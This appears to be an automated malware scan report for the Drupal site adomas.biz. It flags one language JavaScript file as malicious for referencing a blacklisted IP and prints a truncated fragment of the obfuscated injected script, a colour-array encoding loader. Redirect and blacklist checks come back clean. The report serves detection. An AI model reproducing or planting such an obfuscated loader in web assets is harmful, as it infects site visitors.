Scanned pages/files
Request | Server response | Status |
http://adomas.biz/ | 200 OK Content-Length: 14580 Content-Type: text/html | clean |
http://adomas.biz/node/10 | 200 OK Content-Length: 5486 Content-Type: text/html | clean |
http://adomas.biz/user/register | 200 OK Content-Length: 6165 Content-Type: text/html | clean |
http://adomas.biz/misc/jquery.js?2 | 200 OK Content-Length: 31089 Content-Type: text/javascript | clean |
http://adomas.biz/misc/drupal.js?2 | 200 OK Content-Length: 9834 Content-Type: text/javascript | clean |
http://adomas.biz/sites/default/files/languages/lt_95db2abac3b769ba8147d958d1bc0ccc.js?2 | 200 OK Content-Length: 4599 Content-Type: text/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 86.55.140.203 if (typeof(redef_colors)=="undefined") { var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e4745', '#3d4444', '#3d4043', '#3f3d41', '#3f423e', '#79823e', '#798084', '#748188', '#3d7c78', '#7d3d7f', '#777f31', '#4d0000'); var redef_colors = 1; var colors_picked = 0; function div_pick_colors(t, ...[4480 bytes skipped]... Decoded script: try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_colors() try_pick_c ...[17634 bytes skipped]... | ||
http://adomas.biz/modules/user/user.js?2 | 200 OK Content-Length: 7026 Content-Type: text/javascript | clean |
http://adomas.biz/user | 200 OK Content-Length: 4351 Content-Type: text/html | clean |
http://adomas.biz/user/password | 200 OK Content-Length: 3964 Content-Type: text/html | clean |
http://adomas.biz/test404page.js | 404 Not Found Content-Length: 2801 Content-Type: text/html | clean |
http://adomas.biz/user/login?destination=comment%2Freply%2F10%23comment-form | 200 OK Content-Length: 4390 Content-Type: text/html | clean |
http://adomas.biz/user/register?destination=comment%2Freply%2F10%23comment-form | 200 OK Content-Length: 6213 Content-Type: text/html | clean |
http://adomas.biz/node/12 | 200 OK Content-Length: 5531 Content-Type: text/html | clean |
http://adomas.biz/user/login?destination=comment%2Freply%2F12%23comment-form | 200 OK Content-Length: 4390 Content-Type: text/html | clean |
http://adomas.biz/user/register?destination=comment%2Freply%2F12%23comment-form | 200 OK Content-Length: 6213 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: adomas.biz
Result:
HTTP/1.1 200 OK
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Date: Mon, 15 Sep 2014 10:48:27 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Sep 2014 10:48:27 GMT
Set-Cookie: SESS5b772c8e7f49e1e20477e626351a4afc=gsuvo9tn8kl5qii2teo7sgeo56; expires=Wed, 08-Oct-2014 14:21:47 GMT; path=/; domain=.adomas.biz
GET / HTTP/1.1
Host: adomas.biz
Result:
HTTP/1.1 200 OK
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Date: Mon, 15 Sep 2014 10:48:27 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Sep 2014 10:48:27 GMT
Set-Cookie: SESS5b772c8e7f49e1e20477e626351a4afc=gsuvo9tn8kl5qii2teo7sgeo56; expires=Wed, 08-Oct-2014 14:21:47 GMT; path=/; domain=.adomas.biz
Second query (visit from search engine):
GET / HTTP/1.1
Host: adomas.biz
Referer: http://www.google.com/search?q=adomas.biz
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: adomas.biz
Referer: http://www.google.com/search?q=adomas.biz
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=adomas.biz
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://adomas.biz/
Result: adomas.biz is not infected or malware details are not published yet.
Result: adomas.biz is not infected or malware details are not published yet.